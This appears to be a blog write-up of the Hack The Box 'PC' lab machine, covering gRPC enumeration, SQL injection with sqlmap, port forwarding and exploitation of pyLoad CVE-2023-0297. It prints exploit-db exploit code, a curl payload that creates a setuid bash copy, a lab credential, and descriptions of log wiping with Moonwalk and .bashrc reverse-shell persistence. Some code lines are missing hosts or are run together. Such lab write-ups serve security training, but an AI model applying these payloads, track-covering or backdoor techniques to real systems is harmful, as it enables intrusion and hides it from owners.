top of page
  • BlueDolphin

🔐 Hack The Box Machine Write-Up: PC

Updated: Feb 8

Engagement Flow

Tools used
  • gRPC Curl

  • gRPC Ui

  • Burpsuite

  • Moonwalk

  • Cross Site Request Forgery - Obtaining admin token with user token

  • Port forwarding - Port 8000 ---> local host to view pyLoad WebApp on target at

  • SQL Injection - On initial web app (gRPC server) port 50021

  • Command Injection - On local port 8000 pyLoad CVE

  • Covering our tracks - with Moonwalk

  • Persistence - bashrc backdoor one liner



1) Enumeration - Host

  • Port 22 - SSH

  • Port 80 - HTTP

2 ) Enumeration - Web Application

  1. Determine connection method to web application

  2. Register user

  3. Login with newly registered user

  4. Retrieve registered user account token

  5. User account token login to admin

  6. Retrieve admin session token

  7. Make a successful query with admin token

3) Exploitation

  1. Intercept the request with burpsuite

  2. Save the request file

  3. Run SQLmap and call request file.

  4. Provide DBMS and account flags

  5. Retrieve user account and password

4 ) Privilege escalation

  1. Manual enumeration

  2. Discovery of port 8000

  3. Enumeration of port 8000

  4. Port forward port 8000

  5. Web page review over port 8000

  6. CVE discovery, modification and delivery of CVE-2023-0297

5) Post Exploitation

  • Covering our tracks with moonwalk

  • Persistence by adding a backdoor to the bash.rc file


1) Enumeration - Host

Our surface area is small and unusual with port 22 and 50051 TCP.

Image - Nmap Scan

For port 50051 we sent a telnet connection request to help us discover further information about the service on this port, as our nmap scan provided little in the way of discovery intelligence.

Image - telnet attempt to target server

Researching this port reveals it is a Grpc port. RPC stands for remote procedure call, and I understand correctly, it is a server based service which allows for a developer to pass functions for remote execution in another environment. A fun way to think about it is to imagine running remote workloads. Which means, they are initiated locally and the processing is offloaded remotely. The relationship relies on a client server model in which a client program requests services from the providing or workload server server.

Google Remote Procedure Call (gRPC) which we are working with in this instance, is a open-source solution. Microsoft has their version which is known as just "RPC". RPC servers are compared with REST API's, The major difference as I understand it, is that RPC focuses in the execution of procedure's and commands where as REST is focused around access existing resources locally or remotely and their presentations of said resources locally.

One communication difference is primarily in the use of HTTP. While RPC relies on invoking methods and functions, REST is stateless and uses HTTP methods such as GET and POST.

2) Enumeration - Web Application
  1. Determine connection method to web application

  2. Register user

  3. Login with newly registered user

  4. Retrieve registered user account token

  5. User account token login to admin

  6. Retrieve admin account token

  7. Make a successful query with admin token

1. Determine connection method to web application

Enumerating gRPC is tricky if you have never dealt with this before. This was totally new to me and I have come to understand there are two clear cut tools which can be used. Firstly, grpcurl which is a command line tool. However, I found that the user had to have a strong understanding of this tool in order to be successful with the syntax. The base instructions in "--help" were not sufficient. I referencedthe github page for how to deploy and use the tool which can be found in the link below.

Eventually I took a step back and reconsidered my options. I learned about some alternatives, being Postman and "grpcui". This was a game changer as grpcui provided a GUI which took care of the format and syntax, only expecting the user to fill in boxes with desired data and options. Which can be found in the link below.

The Microsoft article I referenced can be found in the link below. This is a resources for learning about all 3 of the tools mentioned above at a high level.

Image - grpcui

After executing GRPCUI we are provided with the user interface for our RPC server. It is very simple and straight forwards looking with limited features and functionality. This can be attributed to the fact that this machine is an easy rated machine.

Image - grpcui

Looking around on the Web UI reveals three methods or functions that are available to use. This includes Login, register and get info. These are all very self explanatory. Where it gets tricky, is we have to somehow derive a methodology by which to exploit these functions. My initial thoughts were around IDOR or CSRF techniques.

Image - method names available to us

2. Register a user

Starting off we register a user and it is quite the simple process with no hurdles or roadblocks along the way.

Image - registering a user

Once we successfully register a user, we receive confirmation in the response data field down below.

Image - registering a user

3. Login with newly registered user

This part is pretty easy, we just simply change our method name and enable the related strings for username and password parameters and proceed to login.

Image - logging in

4. Retrieve registered user account token

Upon a successful login, there is a authorization token found at the bottom of the response page. We were also provided an ID number but it was not an object of interest. The authorization token found in the response trailer requires some character stripping in order to make it useable.

I am not totally sure what the b at the start of the string represents, but in any case it needs to be removed along with the single quotes.


Image - identify authorization token

5. User account token login to admin account

With the new token in hand, we can login with the admin:admin account which had previously required and authorization token. When we provided our newly registered users authorization token as metadata in the header of the request it actually logs us in without issue.

Image - login as admin

6. Admin token account extraction

This is a simple step, where upon logging in with the admin account, just like on the previous login, we are provided with the users authorization token. In this case it is the admin authorization token which in all contexts is an elevated token.


Image - admin account login

7. Make a successful query with admin token

At this stage we are testing the final of three functions and the hope is we query resources that will somehow further our goal of getting access to the machine. However, we were not able to query anything.

Image - admin query

Exploitation Phase for initial access

On a side note - This process can be done manually, however I used SQLMAP. With regards to the SQL manual enumeration, the burped request, was vulnerable where ID = "Your ID" and removing the trailing quote allowed for SQL commands. The payloads for this can be found over at "payload all the things" found in the link below.

  1. Intercept the request with burpsuite

  2. Save the request file

  3. Run SQLmap and call request file.

  4. Provide DBMS and account flags

  5. Retrieve user account and password

1) Intercept the request with burpsuite

For this step we intercept the POST request to our remote gRPC server to analyze the contents. It is interesting to note the additional fieds in the header of this RPC request which are not normally seen in web requests. The fields I am seeing are

  • Sec-Patch-Site

  • Sec-Fetch-Mode

  • Sec-Fetch-Dest

Image - burped request to gRPC server

2. Save the request

Image - The request to save

3. Run SQLmap and call the request file

Here we call SQLMap and provide it the request file which we saved and named "burped". We also call the "-batch" function to avoid having to respond to prompts. The batch flag will auto accept all prompts with the default answer.

Image - Running SQLMap against our request file

4. Provide DBMS and account flags

Image - SQLmap tables and accounts

5. Retrieve user account and password

Here we retrieve the accounts and password objects. This was honestly and sadly guess work on my part to call the "account" tables. Although there is a more thorough process by which we can manually enumerate the tables, often table names are just called account or accounts.

We can see below we have user sau:HereIsYourPassWord1431

Image - SQLmap tables and accounts

From here we cross the finish line and make a successful SSN connection into the target host. But we can't celebrate to early as we still have to elevate to root. However, in my experience it is mostly the initial access phase that tends to be the most difficult and time consuming in the hack the box platform.

Image - Successful SSH connection

Privilege escalation

Normally a local enumeration script like winpeas would be used. However I almost always check a few basic things right off the hop. Including network connections and sudo run as permissions which are quite like windows administrator - run as, permissions. The results indicate that we have no sudo permissions to run anything with a high permissions token.

Image - sudo run as permissions

Reviewing the network connections with the "netstat" command, reveals many open sockets and ports. The one socket and port that is the most interesting is port 8000 running locally.

Image - network connections

With port 8000 being open, we can quickly enumerate this port by using basic connection binaries. Such as telnet, netcat, ssh, and curl. In the example below, we successfully use curl.

Image - curling port 8000

The response tells us we have a web page. This can be deducted by seeing the header which appears with the "html" tag. Furthermore, the message in the "p" tag has website like context including in the message. In order for us to browse to the webpage, we need to use the application layer. But because we have access with a terminal, we cannot access the application layer on the target server. Therefore, we will utilize port forwarding which will forward our traffic over a port, into the target machine. We can see this in the command example below.

└─$ ssh sau@ -L 8000:
sau@'s password: 
Last login: Sat Oct 28 23:14:13 2023 from

With port forwarding enabled, we are able to visit port 8000 and see our website which contains pyLoad.

Image - pyload

Looking around online showed several CVE's for pyLoad.

This vulnerability was quite difficult at first and I had to spend time playing around to eventually get it to work. There was a known metasploit module that I could not get to work. Normally I don't pursue metasploit, but I gave it a shot and quickly gave up, switching back to a more manual process.

The following CVE here was the most prominent and hinted at on the forum.

We can see the payload below. However since we are not using the Metasploit module here we will have to modify it and make some custom entries. Below is the payload provided by exploit-db.

def runExploit(url, cmd):
    endpoint = url + '/flash/addcrypted2'if " " in cmd:
        validCommand = cmd.replace(" ", "%20")else:
        validCommand = cmd

    payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
    test =, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)print('[+] The exploit has be executeded in target machine. ')

The modified version includes the payload with the addition of the endpoint url at the end.

This payload is calling the jk function which has a vulnerable eval statement as per the CVE. We pass pyimport and os.system command, followed by copying the existing bash shell into a open permissions folder such as "tmp" and we set the permissions in the same line.

curl -d'jk=pyimport os;os.system("cp /bin/bash /tmp/boom; chmod 6777 /tmp/boom");f=function f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'                      

We run this as user sau, and we call the permission inheritance flag -p on our newly copied "bash" shell.

Image - sending payload

Post Exploitation

Covering our tracks with Moonwalk

Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.

Moonwalk is not to be confused with Spacewalk, an open-source Linux systems management solution that is the upstream community project from which the Red Hat Satellite product is derived.


When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.

  1. Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.

  2. Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.

  3. Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.

  4. Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.

  5. Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.


32 views0 comments

Recent Posts

See All


bottom of page